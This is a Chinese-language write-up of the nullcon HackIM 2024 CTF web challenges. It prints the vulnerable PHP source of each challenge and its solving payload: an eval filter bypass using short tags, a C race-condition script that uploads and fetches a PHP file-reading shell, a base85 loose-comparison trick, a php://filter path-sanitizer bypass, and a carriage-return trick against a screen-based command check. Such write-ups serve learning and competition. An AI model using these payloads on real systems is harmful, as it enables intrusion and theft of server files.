nullcon跟柏林工大联合搞的CTF比赛,web题目全部考察php
         
nullcon HackIM 2024 is a web-based Jeopardy CTF. You do not need a dedicated server or a VPN environment in order to participate.
The CTF starts at 09:30 UTC on March 14th and ends at 11:00 UTC on March 15th.
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
  
<? php 
ini_set ( "error_reporting" ,  0 ); 
ini_set ( "short_open_tag" ,  "Off" ); 
 if ( isset ( $_GET [ 'source' ]))  { 
    highlight_file ( __FILE__ ); 
 } 
 include  "flag.php" ; 
 $input  =  $_GET [ 'input' ]; 
 if ( preg_match ( '/[^\x21-\x7e]/' ,  $input ))  { 
    die ( "Illegal characters detected!" ); 
 } 
 $filter  =  array ( "<?php" ,  "<? " ,  "?>" ,  "echo" ,  "var_dump" ,  "var_export" ,  "print_r" ,  "FLAG" ); 
$filter  =  array ( "<?php" ,  "<? " ,  "?>" , "*" ,  "/" ,  "var_dump" ,  "var_export" ,  "print_r" ,  "FLAG" ); 
foreach ( $filter  as  & $keyword )  { 
    if ( str_contains ( $input ,  $keyword ))  { 
         die ( "PHP code detected! \n " ); 
     } 
 } 
 eval ( "?>"  .  $input ); 
 echo  " \n " ; 
 ?> 
  
 
过滤了php标签头<?php,可以用短标签<?=
payload:
1
 2
  
?source&input=<?=phpinfo();
 ?source&input=<?=show_source('flag.php');
  
 
         
文件上传
根据题目描述,结合给的源码,可判断为条件竞争
         
         
刚开始没打通,我以为是本国网速延迟导致…..然鹅是能通的…..
Minei3oat师傅写的c语言脚本
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
  
#include  <stdio.h> 
 #include  <sys/types.h> 
 #include  <sys/socket.h> 
 #include  <arpa/inet.h> 
 #include  <string.h> 
 #include  <unistd.h> 
 const  char  POST []  =  "POST /contest.php HTTP/1.1 \r\n Host: 52.59.124.14:5010 \r\n Content-Type: multipart/form-data; boundary=---------------------------2293933683385722748470522066 \r\n Content-Length: 413 \r\n\r\n -----------------------------2293933683385722748470522066 \r\n Content-Disposition: form-data; name= \" fileToUpload \" ; filename= \" ctf0_shell.php \"\r\n Content-Type: application/x-php \r\n\r\n <?php \r\n echo file_get_contents('/var/www/html/flag.txt'); \r\n ?> \r\n\r\n -----------------------------2293933683385722748470522066 \r\n Content-Disposition: form-data; name= \" submit \"\r\n\r\n Submit! \r\n -----------------------------2293933683385722748470522066-- \r\n\r\n " ; 
const  char  GET []  =  "GET /uploads/ctf0_shell.php HTTP/1.1 \r\n Host: 52.59.124.14:5010 \r\n\r\n " ; 
 int  main ()  { 
    // get sockets
  int  post_socket  =  socket ( AF_INET ,  SOCK_STREAM ,  0 ); 
    int  get_socket  =  socket ( AF_INET ,  SOCK_STREAM ,  0 ); 
 
     // connect them to the server
  struct  sockaddr_in  server ; 
    unsigned  long  addr ; 
     memset (  & server ,  0 ,  sizeof  ( server )); 
     addr  =  inet_addr (  "52.59.124.14"  ); 
     memcpy (  ( char  * ) & server . sin_addr ,  & addr ,  sizeof ( addr )); 
     server . sin_family  =  AF_INET ; 
     server . sin_port  =  htons ( 5010 ); 
 
     connect ( post_socket ,( struct  sockaddr * ) & server ,  sizeof ( server )); 
     connect ( get_socket ,( struct  sockaddr * ) & server ,  sizeof ( server )); 
 
     // send requests
  send ( post_socket ,  POST ,  sizeof ( POST ),  0 ); 
    send ( get_socket ,  GET ,  sizeof ( GET ),  0 ); 
 
     // read answer
  char  answer [ 1024 ]; 
    memset (  & answer ,  0 ,  sizeof  ( answer )); 
     read ( post_socket ,  answer ,  1024 ); 
     puts ( answer ); 
     memset (  & answer ,  0 ,  sizeof  ( answer )); 
     read ( get_socket ,  answer ,  1024 ); 
     puts ( answer ); 
 
     // close connection
  close ( get_socket ); 
    close ( post_socket ); 
 } 
 
 
程序在Linux环境汇总编译执行
         
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
  
<? php 
ini_set ( "error_reporting" ,  1 ); 
 include  "flag.php" ; 
include  "./base85.class.php" ;  // https://github.com/scottchiefbaker/php-base85
 if ( isset ( $_GET [ 'source' ]))  { 
    highlight_file ( __FILE__ ); 
 } 
 if ( isset ( $_GET [ 'password' ]))  { 
    $pw  =  base85 :: encode ( $_GET [ 'password' ]); 
 
     if ( $pw  ==  base85 :: decode ( $ADMIN_PW ))  { 
         echo  $FLAG ; 
     }  
 } 
 ?> 
  
 
php弱比较
本题逻辑是,传入参数password的值经过base85编码后经过弱比较等同于$ADMIN_PWbase85解码后的值,根据题目描述,ADMIN_PW前几位是0P)s,解码后是0e1弱比较等同于0,经过测试,1+经过base85编码后是0e3弱比较等同于0
https://www.dcode.fr/ascii-85-encoding 
payload
发包的时候需要对参数url编码
         
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
  
<? php 
ini_set ( "error_reporting" ,  0 ); 
 if ( isset ( $_GET [ 'source' ]))  { 
    highlight_file ( __FILE__ ); 
 } 
 include  "/var/www/html/flag.php" ; 
 function  sanitize_path ( $p )  { 
        return  str_replace ( array ( " \0 " , " \r " , " \n " , " \t " , " \x0B " , '..' , './' , '.\\' , '//' , '\\\\' ,), '' , trim ( $p ,  " \x00 .. \x1F " )); 
 } 
$path  =  $_GET [ 'path' ]; 
if ( isset ( $path )  &&  str_contains ( $path ,  "/var/www/html/static/" ))  { 
    die ( file_get_contents ( sanitize_path ( $path ))); 
 } 
 ?> 
  
 
利用php为协议读取/var/www/html/flag.php,但要对题目对特殊的路径符号进行过滤的绕过
payload
1
  
? source & path = php : / \\\\/ filter / read =/ var / www / html / static / convert . base64 - encode / resource =/ var / www / html / flag . php 
 
 
         
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
  
<? php 
ini_set ( "error_reporting" ,  0 ); 
 if ( isset ( $_GET [ 'source' ]))  { 
    highlight_file ( __FILE__ ); 
 } 
include  "flag.php" ; 
 # From: https://stackoverflow.com/questions/2040240/php-function-to-generate-v4-uuid/15875555#15875555
 function  format_uuidv4 ( $data ) 
{ 
  assert ( strlen ( $data )  ==  16 ); 
 
   $data [ 6 ]  =  chr ( ord ( $data [ 6 ])  &  0x0f  |  0x40 );  // set version to 0100
  $data [ 8 ]  =  chr ( ord ( $data [ 8 ])  &  0x3f  |  0x80 );  // set bits 6-7 to 10
   return  vsprintf ( '%s%s-%s-%s-%s-%s%s%s' ,  str_split ( bin2hex ( $data ),  4 )); 
 } 
 $THE_SCRIPT  =  <<< SCRIPT 
 #!/bin/sh
 cat flag.txt;
 SCRIPT ; 
 
 if ( isset ( $_POST [ 'executy' ]))  { 
    $executy  =  trim ( $_POST [ 'executy' ]); 
 
     try  { 
         if ( strlen ( $executy )  >  1024 )  { 
             throw  new  Exception ( "Too long" ); 
         } 
 
         if ( $executy  ==  $THE_SCRIPT )  { 
             throw  new  Exception ( "Nope, this is too easy!" ); 
         } 
 
     $fname  =  "/tmp/"  .  format_uuidv4 ( random_bytes ( 16 ))  .  ".sh" ; 
 
     $ret  =  file_put_contents ( $fname ,  $executy ); 
         if ( ! $ret )  { 
             throw  new  Exception ( "Nope" ); 
         } 
 
         `ulimit -Sn 10000;ulimit -Hn 50000;screen -Dm -- bash -c "cat $fname; screen -X hardcopy -h $fname.out"` ; 
         $fcontent  =  trim ( file_get_contents ( $fname  .  ".out" )); 
 
         if ( $fcontent  !=  $THE_SCRIPT )  { 
             echo  "I'm not allowed to execute other files :-(" ; 
             throw  new  Exception ( "Nope" ); 
         } 
 
         echo  `timeout 1s bash $fname 2>&1` ; 
 
     }  catch ( Exception  $e )  { 
         echo  "An error occured!"  .  $e ; 
     } 
     @ unlink ( $fname ); 
     @ unlink ( $fname  .  ".out" ); 
 } 
?> 
  
 
输入的 bash 命令将被检查是否与$THE SCRIPT 变量中的内容匹配。如果不同,那么命令不会被执行。
根据下半部分源码可知,我们输入的 bash 命令并没有直接与 $THE_SCRIPT 变量进行比较。相反,它是使用硬拷贝屏幕捕获的。
可以发起 CLRF攻击
payload
1
  
%23%21%2Fbin%2Fsh%0Acat%20*%20#%0Dcat+flag.txt%3B